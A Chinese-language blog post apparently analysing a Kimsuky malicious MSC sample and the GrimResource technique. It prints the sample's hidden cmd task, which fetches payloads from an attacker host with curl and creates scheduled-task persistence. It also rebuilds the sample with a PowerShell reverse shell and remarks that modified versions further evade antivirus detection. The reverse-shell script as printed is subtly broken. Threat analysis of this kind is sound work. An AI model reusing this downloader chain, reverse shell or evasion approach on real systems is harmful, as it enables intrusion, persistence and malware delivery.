从Kimsuky组织msc攻击样本到GrimResource

前言

近期笔者通过外网监测到一个Kimsuky组织的msc攻击样本,这里对样本进行分析,以及谈谈其利用的攻击技术

1
SHA256: 57e9b7d1c18684a4e8b3688c454e832833e063019ed808fd69186c4e20df930a

msc文件

MSC(Microsoft Snap-In Control)文件,是微软管理控制台MMC(Microsoft Management Console)用来添加/删除的嵌入式管理单元文件。通常通过MMC来管理,可点击“文件”菜单中的“添加/删除管理单元”操作来管理当前系统中已经安装的MSC文件。可以点击开始/运行,然后输入下列文件名就可以打开相应的控制窗口。

看到这个后缀,很多人可能已经想到了组策略编辑器(gpedit.msc),该样本即是通过msc文件实现攻击,利用特制的管理保存控制台 (MSC) 文件来使用 Microsoft 管理控制台 ( MMC ) 获得完整的代码执行并逃避安全防御

这项技术最早由Elastic 安全实验室在2024 年 6 月 6 日识别出上传到 VirusTotal 恶意软件扫描平台的工件(“ sccm-updater.msc ”),并将该方法命名为GrimResource ,前段时间热门的“银狐”黑产组织也曾利用过该项技术

最初“GrimResource”技术的核心是利用了apds.dll库中存在的一个旧的跨站脚本(XSS)漏洞,通过在制作的MSC文件的StringTable部分适当地引用这个易受攻击的APDS资源,攻击者可以在mmc.exe的上下文中执行任意的JavaScript,本文中的样本攻击方式则有所不同

msc文件结构

首先大概认识一下msc文件,这里以组策略编辑器的msc文件为例:

image-20240913170745030

msc文件本质上是一种XML格式的文件,其中包含一些定义的内容,这里以重要的部分进行解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?xml version="1.0"?> 												# xml头
<MMC_ConsoleFile> # 整个MMC控制台内容的标签
<ConsoleFileID>XXX</ConsoleFileID> # msc文件id
<FrameState>xxx</FrameState> # 保存了管理控制台窗口的布局和状态信息
<Views> # 定义和保存管理控制台中的视图设置
<View>
XXX
</View>
</Views>
<VisualAttributes> # 定义管理控制台(MMC)的视觉属性和界面元素的外观设置
<Icon Index="0" File="xxxx"> # 图标dll地址(dll/exe)
<Image Name="Large" BinaryRefIndex="0"/>
<Image Name="Small" BinaryRefIndex="1"/>
<Image Name="Large48x" BinaryRefIndex="2"/>
</Icon>
</VisualAttributes>
<ScopeTree> # 定义和保存管理控制台的“范围树”(Scope Tree)部分的结构和配置。
<SnapinCache></SnapinCache> # 用于缓存管理单元(snap-ins)的配置信息和状态。

<Nodes> # 视图中节点相关的信息
<Node ID="1" ImageIdx="0" CLSID="{xxx}" Preload="true">
<Nodes/>
<String Name="Name" ID="3"/>
<Bitmaps>
<BinaryData Name="Small" BinaryRefIndex="3"/>
<BinaryData Name="Large" BinaryRefIndex="4"/>
</Bitmaps>
<ComponentDatas>
<ComponentData>
<GUID Name="Snapin">{xxx}</GUID>
<Stream BinaryRefIndex="5"/>
</ComponentData>
</ComponentDatas>
<Components/>
</Node>
</Nodes>

</ScopeTree>

<ConsoleTaskpads> # 重点:用于定义和保存管理控制台(MMC)的任务面板配置,在控制台的特定部分显示任务、操作和快捷方式。
<ConsoleTaskpad>
<String Name="Name" ID="11"/>
<String Name="Description" ID="12"/>
<String Name="Tooltip" Value=""/>
<Tasks> # 任务相关设置
<Task Type="CommandLine(任务类型)" Command="cmd.exe(命令)">
<String Name="Name" ID="13"/>
<String Name="Description" ID="14"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowState="Minimized(窗口最小化)" Params="/c calc(参数)"/>
</Task>
</Tasks>
</ConsoleTaskpad>
</ConsoleTaskpads>

<ViewSettingsCache>xxx</ViewSettingsCache> # 缓存管理控制台(MMC)的视图设置
<ColumnSettingsCache></ColumnSettingsCache> # 缓存和保存管理控制台(MMC)中表格视图的列设置
<StringTables> # 定义和管理控制台界面中的字符串资源,用于界面中的标签、菜单项、按钮文字以及其他显示文本
<IdentifierPool AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="15"/>
<StringTable>
<GUID>{xxxx}</GUID>
<Strings>
<String ID="1" Refs="1">Local Group Policy Editor</String>
<String ID="2" Refs="1">Favorites</String>
<String ID="3" Refs="1">Local Computer Policy</String>
<String ID="4" Refs="2">Console Root</String>
</Strings>
</StringTable>
</StringTables>
<BinaryStorage> # 用于存储二进制数据
<Binary Name="CONSOLE_FILE_ICON_LARGE">
Base64 编码或其他编码方式
</Binary>
</BinaryStorage>
</MMC_ConsoleFile>

样本分析

我们已经大致了解了msc文件的结构,有兴趣的话之后会专门写一篇文章来分析

现在开始分析样本

image-20240914094900300

这里可以看到使用了word的图标用以迷惑受害者,看样子应该是针对韩国地区发起的攻击

文本格式打开样本

image-20240914095037388

总体结构和刚刚分析的大致一样,其中MMC_ConsoleFile->VisualAttributes->Icon部分引用了word的路径,也就是图标部分

往下翻来到重点部分

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<ConsoleTaskpads>
<ConsoleTaskpad ListSize="Medium" IsNodeSpecific="true" ReplacesDefaultView="false" NoResults="true" DescriptionsAsText="true" NodeType="{C96401CE-0E17-11D3-885B-00C04F72C717}" ID="{656F3A6A-1A63-4FC4-9C9B-4B75AF6DF3A3}">
<String Name="Name" ID="11"/>
<String Name="Description" ID="12"/>
<String Name="Tooltip" Value=""/>
<Tasks>
<Task Type="CommandLine" Command="cmd.exe">
<String Name="Name" ID="13"/>
<String Name="Description" ID="14"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&amp;curl -o &quot;c:\users\public\music\default1&quot; &quot;https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1&quot;&amp;curl -o &quot;c:\users\public\pictures\default1&quot; &quot;https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1&quot;&amp;move /y &quot;c:\users\public\music\default1&quot; &quot;c:\users\public\music\default1.xml&quot;&amp;start explorer &quot;https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit&quot;&amp;schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f&amp;curl -o &quot;c:\users\public\music\default2&quot; &quot;https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam2&quot;&amp;curl -o &quot;c:\users\public\pictures\default2&quot; &quot;https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam2&quot;&amp;move /y &quot;c:\users\public\music\default2&quot; &quot;c:\users\public\music\default2.xml&quot;&amp;move /y &quot;c:\users\public\pictures\default1&quot; &quot;c:\users\public\pictures\default1.vbs&quot;&amp;schtasks /create /tn TermServiceUpdater /xml c:\users\public\music\default2.xml /f&amp;move /y &quot;c:\users\public\pictures\default2&quot; &quot;c:\users\public\pictures\default2.vbs&quot;"/>
</Task>
</Tasks>
<BookMark Name="TargetNode" NodeID="1"/>
</ConsoleTaskpad>
</ConsoleTaskpads>

刚刚提到ConsoleTaskpads是MMC的任务面板配置

其中<Task Type="CommandLine" Command="cmd.exe">部分指定了类型为命令行,并且调用了cmd.exe

继续跟到下面CommandLine部分,首先制定了窗口初始状态为最小化,然后通过Params指定了命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
/c mode 15,1
curl -o "c:\users\public\music\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam1"
curl -o "c:\users\public\pictures\default1" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam1"
move /y "c:\users\public\music\default1" "c:\users\public\music\default1.xml"
start explorer "https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit"
schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f
curl -o "c:\users\public\music\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=xam2"
curl -o "c:\users\public\pictures\default2" "https://petssecondchance.larcity.dev/modules/mod_custom/tmpl/andy/css.php?na=sam2"
move /y "c:\users\public\music\default2" "c:\users\public\music\default2.xml"
move /y "c:\users\public\pictures\default1" "c:\users\public\pictures\default1.vbs"
schtasks /create /tn TermServiceUpdater /xml c:\users\public\music\default2.xml /f
move /y "c:\users\public\pictures\default2" "c:\users\public\pictures\default2.vbs"

第一行指定了命令行窗口模式为15,1(黑背景色白前景色,显示1行)

接下来两行下载了两份文件(这里以参数为称,xam1和xam1)并移动到music和picture目录的default1,现在发现两份文件地址均已经删除

image-20240914102233724

随后将music目录下的default1改为了xml格式,紧接着打开资源管理器访问了https://docs.google.com/document/d/1Z96Gq8lf7h688L0GeZMgAhjipRX1GLmL/edit,现在已被谷歌文档删除,推测为和用来伪装的字符串相关话题内容,用以迷惑受害者以为仅打开了链接

image-20240914102656412

访问链接后通过schtasks命令以default1.xml为模板创建了计划任务TerminalServiceUpdater

1
schtasks /create /tn TerminalServiceUpdater /xml c:\users\public\music\default1.xml /f

后面又下载了两份文件,现也已删除,后面就是相同的操作这里不再赘述

其中sam1和sam2最后改名为vbs,这里应该才是计划任务最终执行的payload,因为都被删除了这里就不多做分析

GrimResource?

最开始提到了GrimResource最初是通过利用apds.dll库中存在的一个旧的跨站脚本(XSS)漏洞在mmc.exe的上下文中执行任意js代码,而本文的攻击手段则有所不同,所以严格意义上来说该样本并不是使用了GrimResource技术,不过我们还是看看作为攻击手段的有效性

异同

  • 同:均是利用msc文件为载体,可以有效绕过安全软件
  • 异:GrimResource是利用apds.dll库的漏洞和DotNetToJs技术,随着版本更新会有一定局限性;该样本中则是利用msc文件本身的特性,创建了一个迷惑性的msc操作快捷方式,引导受害者手动点击(更接近于钓鱼)

复现

我们这里以该样本为基础,尝试自己构建一个新的恶意msc文件用以反弹shell

首先构造一个反弹用的powershell脚本

1
New-Object System.Net.Sockets.TCPClient("127.0.0.1",14512);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell编码
image-20240914111612221

接下来带入样本中,开启nc监听

image-20240914112951079

成功开启反弹

查杀率

微步:

image-20240914112852055

image-20240914112915683

可以看到目前微步的查杀率还是非常低的,并且主要是powershell反弹shell的特征

VT:

image-20240914113034041

VT则因为国外平台的原因已被标记,并且笔者这里跟原样本特征重合度过高,导致几乎都正常识别为了Kimsuky相关(但也只有12/63),实际上自己修改后查杀率还会进一步降低

总结

GrimResource作为一种新型的攻击手段,想必一段时间内仍然会活跃在大众视野中,其利用手段也远远不止最初的用法,相信也能给攻击和防守视角带来一些启发